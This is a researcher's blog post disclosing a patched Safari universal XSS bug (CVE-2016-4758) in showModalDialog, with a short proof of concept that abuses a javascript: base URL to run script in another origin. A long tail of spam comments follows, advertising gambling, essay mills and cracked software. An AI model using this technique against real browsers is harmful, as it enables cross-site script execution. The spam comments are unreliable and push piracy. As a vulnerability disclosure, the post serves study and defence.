Sunday, September 25, 2016

CVE-2016-4758: UXSS in Safari's showModalDialog

I would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
FYI, Mobile Safari is not vulnerable because it does not have the showModalDialog method.

Preconditions for Attack

To attack using this bug, we need two conditions:
  1. The target page navigates to the relative URL using JavaScript. (e.g. location="/",window.open("/","_blank"))
  2. That navigation is done after the completion of the page loading.

I created the page that satisfies it:

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>

This page's only purpose is that navigates to https://vulnerabledoma.in/index.html when the user click the "Top Page" button.
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.

The Bug

Now, let's use the showModalDialog method.
The following page only opens the target page in a modal dialog:

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
What will happen when we click the "Top Page" button in the modal dialog? Needless to say, we will go to https://vulnerabledoma.in/index.html. But Safari was different. Surprisingly, Safari navigated to https://l0.cm/index.html. Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.

(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the <a> tag and xhr.open("GET",[URL]) used the correct URL. )

Developing XSS attacks

According to html5sec.org #42, Safari allows to set the javascript: URL to the base tag. So, I thought that I might be able to XSS if I set the javascript: URL to the base tag in the parent page.

And my assumption was correct. This is final PoC:

<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:


Yay!

Conclusion

I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.

If I find interesting bug, I'll share again :D Thanks!

100 comments:

  1. I am glad that I saw this post. It is informative blog for us and we need this type of blog thanks for share this blog, Keep posting such instructional blogs and I am looking forward for your future posts.
    Cyber Security Projects for Final Year

    JavaScript Training in Chennai

    Project Centers in Chennai

    JavaScript Training in Chennai

    ReplyDelete
  2. Thank you for making me aware of this UXSS in Safari's showModalDialog.
    check this- Error 0X000003EB

    ReplyDelete
  3. Jio Lottery is famous Indian Lottery. Join to win big amounts in real time announcements and become easily Jio Lottery Winner in 2020.
    Jio Lottery Winner
    Jio Lottery Winner 2020
    KBC Jio Lottery Winner 2020 List
    KBC Jio Lottery Winner 2020 Check
    kbc Jio Lottery Winner 2020 List Today

    ReplyDelete
  4. Red Hat Certified Engineer is a professional who has expertise in handling the Red Hat Enterprise Linux System. The Certified Engineer takes care of various tasks such as setting kernel runtime parameters, handling various types of system logging and providing certain kinds of network operability. The professionals must have the ability to install networking services and security on servers running Red Hat Enterprise Linux.

    Red Hat Certified Engineer

    ReplyDelete
  5. You should be a part of a contest for one of the highest quality sites on the net. I’m going to highly recommend this blog! The training and certification courses to get trained on microtek training. I got really cleared my doubts by reading your informative information.

    Well i also founded something interesting over here in microtek training solutions

    ReplyDelete
  6. Very interesting blog. Many blogs I see these days do not really provide anything that attracts others, but believe me the way you interact is literally awesome.You can also check my articles as well.

    Security Guard License
    Ontario Security License
    Security License Ontario
    Security License

    Thank you..

    ReplyDelete
  7. Awesome, I’m really thank you for this amazing blog. Visit Ogen Infosystem for creative website designing and development services in Delhi, India.
    Website Designing Company

    ReplyDelete
  8. Water bodies are the main source of transportation for international freight forwarding. Due to this, sea freight company in Delhi,
    visit
    Freight Forwarder in Vietnam
    Shipping Company In India

    ReplyDelete
  9. Post video about it. I will understand more on video. You will be able to buy youtube likes for your video from this site. Just get it running and buy youtube likes

    ReplyDelete
  10. Oracle Corporation is an American multinational computer technology corporation headquartered in Redwood Shores, California.
    tally training in chennai

    hadoop training in chennai

    sap training in chennai

    oracle training in chennai

    angular js training in chennai

    ReplyDelete
  11. You can reinstall or install Microsoft Office Setup at office.com/setup

    ReplyDelete
  12. Thank you for this useful article! Do you want to become popular on tiktok? I think you can do it with such video. You can read some tips about it from this site https://blog.nus.edu.sg/sarkar/how-to-become-a-tiktok-star-while-studing/

    ReplyDelete
  13. We’ve been creating elegant digital printing for over 20 years. Right from the start of the digital printing revolution, in fact. In that time we have grown with you, our clients. And the thing is, like any important relationship check our website for more info custom stickers printing

    ReplyDelete
  14. The CBD Oil Boxes are an important thing to trade cannabis oil in the market by performing it in the Cardboard or Kraft materials most maximum of the time. We are Manufacture CBD Packaging boxes and developing exceptional artwork for these custom product boxes. We at PACKAGINGPAPA, recognize the significance of press examples to explain our packaging abilities. therefore free individual kits are offered to our customers which include random box samples of our past done work

    ReplyDelete
  15. We are Global Online Quran Teachers, an educational organization that is located in Egypt Quran Recitation with Tajweed

    ReplyDelete
  16. The trick is to stage the right combination of boxes and packing materials in advance so that you can avoid running short on – or completely running out – of standard sizes.custom packaging box with logo custom packaging box with logo

    ReplyDelete
  17. Very nice article. I enjoyed reading your post. very nice share. I want to twit this to my followers. Thanks
    พวงหรีด
    รับทำ seo
    wm casino
    poker online
    โควิด

    ReplyDelete
  18. Such a very useful blog. Very Interesting to read this blog. I would like to thank you for the efforts you had made for writing this awesome blog. Great work.
    คลิปโป๊
    คลิปxxx
    คลิปโป๊ญี่ปุ่น
    คลิปโป้ไทย
    เรียนภาษาอังกฤษ
    kardinal stick

    ReplyDelete
  19. Watch movies online sa-movie.com, watch new movies, series Netflix HD 4K หนังฝรั่ง, watch free movies on your mobile phone, Tablet, watch movies on the web.

    SEE4K Watch movies, watch movies, free series, load without interruption, sharp images in HD FullHD 4k, ดูหนังชนโรง all matters, all tastes, see anywhere, anytime, on mobile phones, tablets, computers.

    GangManga read manga, read manga, read manga online for free, fast loading, clear images in HD quality, อ่านมังงะ all titles, anywhere, anytime, on mobile, tablet, computer.

    Watch live football ดูบอลออนไลน์, watch football online, link to watch live football, watch football for free.

    ReplyDelete
  20. SamudraBet Situs Judi Online Terbaik, Terpercaya dan Terbesar di Indonesia. Menyediakan permainan :

    Judi bola terbaik

    Judi slot online terpercaya

    Poker online terbaru

    Live casino online

    Judi sabung ayam

    ReplyDelete
  21. This article will outline all the different strategies you should be aware of when it comes to soccer.

    best ias coaching in delhi

    ReplyDelete
  22. The color and consistency have nothing to do with the quality of the CBD Flower. Only the cultivation method can be recognized by the color:

    ReplyDelete
  23. 2020, WSOP.com and GGPoker are hosting a summer โป๊กเกอร์ออนไลน์ gold bracelet event. The two are scheduled to return in 2021

    ReplyDelete
  24. I read your article it is very interesting and every concept is very clear, thank you so much for sharing. AWS Certification Course in Chennai

    ReplyDelete
  25. Our UFA800 has various game rooms for you to choose from ดูบอลออนไลน์ .For those of you who like to play casino games in the name of UFAGAME, it is a collection of many games such as baccarat games, bounce games

    ReplyDelete
  26. The Google Birthday Surprise Spinner, the greatest Doodle yet, has come around. comprising of a turning wheel that, when turned, takes you to one of the nineteen different games, was Google's method of celebrating its nineteenth birthday. These 19 different games are very different from each other but they are entertaining enough

    ReplyDelete
  27. Thank you for sharing this informative article. If somebody is looking for Quran learning check this now online quran academy

    ReplyDelete
  28. เราคือผู้นำด้านเกมพนันออนไลน์ Major168 เราคือผู้ให้บริการ คาสิโนออนไลน์ ที่ได้รับรองว่าดีที่สุดในประเทศไทย มีค่ายเกมส์ให้เล่นมากมาย Sagaming, Sexy bacarat, Dreamgame, Ebet, Wm casino, Vivo gaming ไม่ผ่านเอเย่นต์ ระบบปลอดภัยมีทีมงานดูแลตลอด 24ชม.

    SAGAME88 แหล่งรวมเกมส์พนันออนไลน์ คาสิโนสด บาคาร่า กำถั่ว คาสิโนออนไลน์ ไฮโล รูเล็ต รับเครดิตฟรีเล่นได้ทุกเกมส์ โบนัสสมาชิกใหม่เพียบ พร้อมระบบฝากถอนออโต้ 10วิ เรามีทุกค่ายเกมส์ให้คุณเลือกเดิมพัน SA Game Sexy bacarat Dreamgame WM Casino VIVO Gaming Ebet เล่นได้ทุกเกมส์

    Our website ufabet provides betting services in the system of Auto Deposit-Withdrawal. Our members are not only in Thailand. Online football betting UEFA Bet market And this makes a guarantee that Ufabet168 is another reliable football betting website

    ufa through the website UFABET1688 a web gambling online , one that integrated all the bets from online casinos , online casino , online , and also have a game a lot more to be chosen to play such games.

    ReplyDelete
  29. I love to read your post it is interesting and informative too. I am not that much into the reading but today your post forces me to read it all. I belong to Packaging Printing UK so if you need any good quality Bespoke Boxes as per your desire in cheap prices with the fastest shipping so you can visit our site: Bespoke Packaging

    ReplyDelete
  30. Because our ufabet website system is an automatic deposit system. Therefore having to bother customers who transfer money to Do not save your account number as a favorite. Always fill in to transfer by yourself. Because the system may change the deposit account It is very important that customers view the transfer balance every time.

    ReplyDelete
  31. F95Zone gives you the ideal platform to talk about things that people find too shy and unusual to talk about with their acquaintances or friends. In conjunction with the discussion forum, this website has a good deal of options plus functions which enable users to have a wholesome and seamless experience.

    ReplyDelete
  32. Suggest how to play the game The preferred card game in the globe, but for anyone looking for fun with card video games. Get prepared to opt for renowned sites from around the globe. Ready to provide you with the challenge And online gambling poker tournaments Additionally, it incorporates a bonus. เล่น poker เว็บไหนดี, given to the racers of ours that are ready to fight in a major tournament worth having fun with information from real experts from the big competition with a good deal of experience We provide chip exchange services for players. All over Thailand is able to line of us and notify Games you would like to play immediately.

    ReplyDelete
  33. Through www.amazon.com/mytv - how you can connect your mobile phone to Amazon Prime. Through amazon.com/mytv, you can watch your favorite TV shows, series movies. You can watch prime videos anywhere on your device. Users need to create an Amazon account if they don’t have an Amazon account and enter the Amazon my TV activation code to watch Amazon prime videos on your device.

    amazon.com/mytv | www.amazon.com/mytv

    ReplyDelete
  34. Thanks for some other informative website. Where else could I get that kind of info written in such a perfect way? I’ve a challenge that I am simply now running on, and I have been on the glance out for such information. ufabet1688

    ReplyDelete
  35. Arterygal.com Latest Technology Travel Health Entertainment Fashion news here

    ReplyDelete
  36. F95Zone 2021 Most Popular Gaming Communities Website in The World

    F95Zone
    f95 zone
    f95Zone

    ReplyDelete
  37. 7starhd.lol 2021 Latest Movie Web Series Website

    ReplyDelete
  38. If you are looking for community care nursing assignment help then you are at right place. Here, you will get the best experts who will help you in your academic help services. Check website to get more info.

    ReplyDelete
  39. I have read many blogs but this blog is very great and cool. I am very glad to read your blog. I will come back to the website to read more similar stuff. Thanks for sharing.
    buy denim backpack

    ReplyDelete
  40. Through www.amazon.com/mytv - how you can connect your mobile phone to Amazon Prime. Through amazon.com/mytv, you can watch your favorite TV shows, series movies. You can watch prime videos anywhere on your device. Users need to create an Amazon account if they don’t have an Amazon account and enter the Amazon my TV activation code to watch Amazon prime videos on your device.

    amazon.com/mytv | www.amazon.com/mytv

    ReplyDelete
  41. If you are a beginner to essay writing, you might face issues in drafting the best work. There is nothing to get disheartened in such scenarios. Consistency and dedication will surely improve your writing skills and you will find yourself at a better stage. However, if you need good essay urgently, then you might not manage it yourself. In such cases, feel free to hire essay helper online. They are professionals who choose to help students in achieving their academic goals. Always make sure that you find a trustworthy team of academic writing service providers and choose an pay someone to do assignment from there only.

    ReplyDelete
  42. Thank you for sharing your info. I really appreciate your efforts and Thanks a lot for sharing a piece of wonderful information which I am looking for a longer period of time.
    Mcafee.com/activate | Mcafee.com/activate

    ReplyDelete
  43. Project is a task given by the university to all the masters and bachelors students which they need to compose and submit to their respective regional and study centers. Ignou synopsis is an assistance service provider who writes project and solved assignments for students. We are one of the best online project assistance providers having more then 50 writers and authors who compose books Ignou MARD solved assignment 2020 21 and projects.

    ReplyDelete
  44. HDhub4u Tamil produces HD along with a high-quality print of newly launched films to this's clients. This particular web page is actually known for offering Telugu flicks on the very next day of the release of films. hdhub4u has been building a name for themselves since the website's begging in season 2017.

    ReplyDelete
  45. Myassignmenthelp Now, who help students globally at all academic level. We work 24*7 so that you don’t need to wait for any certain time, you can reach us any time. For our assignment help you can directly get into touch with our expert.

    ReplyDelete
  46. Thank you so much for sharing all this amazing information, keep it up. paid thesis writing services

    ReplyDelete
  47. From Australia’s top Online Dissertation Writer service with specified research prospect and qualified dissertation writers. Where Students get Free Dissertation Proposal Outline, Timely Dissertation Completion, 24/7 Online Consultation and 100% Original Content. Writing a dissertation and thesis can be tougher than it looks but only for those who lack expertise.

    ReplyDelete
  48. WatchCartoonOnline has the server of its situated inside European countries. It gives you worldwide organizations inconspicuously English talking countries, besides the US, UK, and Australia, to administer several examples. The internet website has been thought of to deal with individual time that continues on for an intriguing span.

    ReplyDelete
  49. Diversify your credit. When it makes sense financially, explore other credit options such as financing a car or consolidating credit card debt with a personal loan. Paying off a mix of credit types will help boost your score.
    fishyfacts4u.com
    fishyfacts4u.com
    fishyfacts4u.com
    fishyfacts4u.com
    fishyfacts4u.com
    fishyfacts4u.com
    fishyfacts4u.com
    fishyfacts4u.com
    fishyfacts4u.com
    fishyfacts4u.com

    ReplyDelete
  50. At this point, it’s important to mention that the free templates may not impress you very much and this is where you might have to consider a paid upgrade. Another thing Wix do well is that all their sites are fully responsive.
    emagazinehub.com
    emagazinehub.com
    emagazinehub.com
    emagazinehub.com
    emagazinehub.com
    emagazinehub.com
    emagazinehub.com
    emagazinehub.com
    emagazinehub.com
    emagazinehub.com

    ReplyDelete
  51. Even if you have no credit or a thin credit file, you can build a great credit history on your own. Here are some of Arevalo's tips for boosting your credit profile:

    inewshunter.com
    inewshunter.com
    inewshunter.com
    inewshunter.com
    inewshunter.com
    inewshunter.com
    inewshunter.com
    inewshunter.com
    inewshunter.com
    inewshunter.com

    ReplyDelete
  52. hbomax.com/tvsignin streaming
    service has a deep catalogue full of great TV shows, from popular comedies
    Friends and Big Bang Theory. hbomax.com/tvsignin activate
    has replaced all other HBO apps and services.It's home to all of HBO's
    premium TV shows and movies, as well as additional. It has amazing video and audio quality ,Users used to be able to sign up for a seven-day free trial of hbomax.com/tvsignin code
    hbomax.com/tvsignin activate|
    hbomax.com/tvsignin|
    hbomax.com/tvsignin code

    ReplyDelete
  53. Espn.com/activate is one of the most well-settled broadcasting services currently. Over the years, the service is offering detailed updates regarding a vast number of games. With over millions of followers, espn activate is one of those giants that covers updates regarding every possible sporting event with espn plus activate. Want to get this gaming experience?
    Espn.com/activate
    espn activate
    espn plus activate

    ReplyDelete
  54. The IRS estimates that 39 million households will receive the payment this month, translating to coverage of nearly 90% of all U.S. children.

    juicyfactor.com
    juicyfactor.com
    juicyfactor.com
    juicyfactor.com
    juicyfactor.com
    juicyfactor.com
    juicyfactor.com
    juicyfactor.com
    juicyfactor.com
    juicyfactor.com

    ReplyDelete
  55. Check out the option of assignment help in New Zealand to buy the assistance of academic writing. Online Assignment Help connects you with professional writers so you can get the required help for your submission.

    ReplyDelete
  56. Assignment Writing has now become an awesome vocation choice. I am additionally an assignment essayist in the QQI Assignment help association. This is working in Ireland.

    ReplyDelete
  57. I am impressed, I must say. Really rarely do I encounter a blog that?s both educative and entertaining, and let me tell you, you have hit the nail on the head. Your idea is outstanding; the issue is something that not enough people are speaking intelligently about. I am very happy that I stumbled across this in my search for something relating to this.
    luksusowehotele.pl

    ReplyDelete
  58. Nice Post! Thank you for the info information, I will wait for posts like this and will read them with pleasure. help in write my essay

    ReplyDelete
  59. This is a really good article. I recently discovered your blog and wanted to express my gratitude for taking the time to go through your postings. After all, I'll be subscribing to your feed and hoping to hear from you soon! To know about Assignment Help Online, visit at https://www.allassignmenthelp.co.uk/

    ReplyDelete
  60. ByteFence Crack With License key 2021 has the aptitude to safeguard your laptop from most of the most recent sorts of risks on the internet along with off the web.
    Grammarly Premium Crack
    Windows 11 Pro Product Key
    DAEMON Tools Lite Crack
    TapinRadio Pro Crack
    Source Insight 4.0 Crack

    ReplyDelete
  61. Learning and education are essential components of our life. People study to get a good and well-paid job. Not everyone is happy to take online classes. Some parents force their children to learn this manner along with regular studies. Online classes can become a nightmare for someone who has already completed sufficient assignments. Students need to take my online class for me very regularly. Even a student can have numerous online programs that are quite tough. You should not only attend these courses but you should also finish your homework too.

    ReplyDelete
  62. Nicely written post. very useful, keep it up. latest jobs in dubai

    ReplyDelete
  63. Though there are a lot of reasons why students prefer to hire assignment writing service but one of the major reason is lack of time. Many times they don’t have enough time to write solutions on a topic that they have not mastered. This lack of time can also be a result of various activities. Some students are just procrastinators and they fail to balance everything. In some cases, students face genuine occupancies and they lose time. Be it any case, you can always hire a homework helper and keep things sorted. Remember, it is better to take help rather losing your desired grades.

    ReplyDelete
  64. I really enjoy reading your post about this Posting. This sort of clever work and coverage! Keep up the wonderful works guys, thanks for sharing
    windows-11-pro-product-key

    ReplyDelete
  65. ESPN is an sports channel and sports news update where you can watch live cricket matches and other sports events. ESPN is the ideal option to round out your sports streaming subscription. To watch ESPN channel, you need to first download and install the app on your device. Then you can activate ESPN channel on ESPN.com/activate link.

    Espn.com/activate

    Espn.com/activate

    Espn.com/activate

    ReplyDelete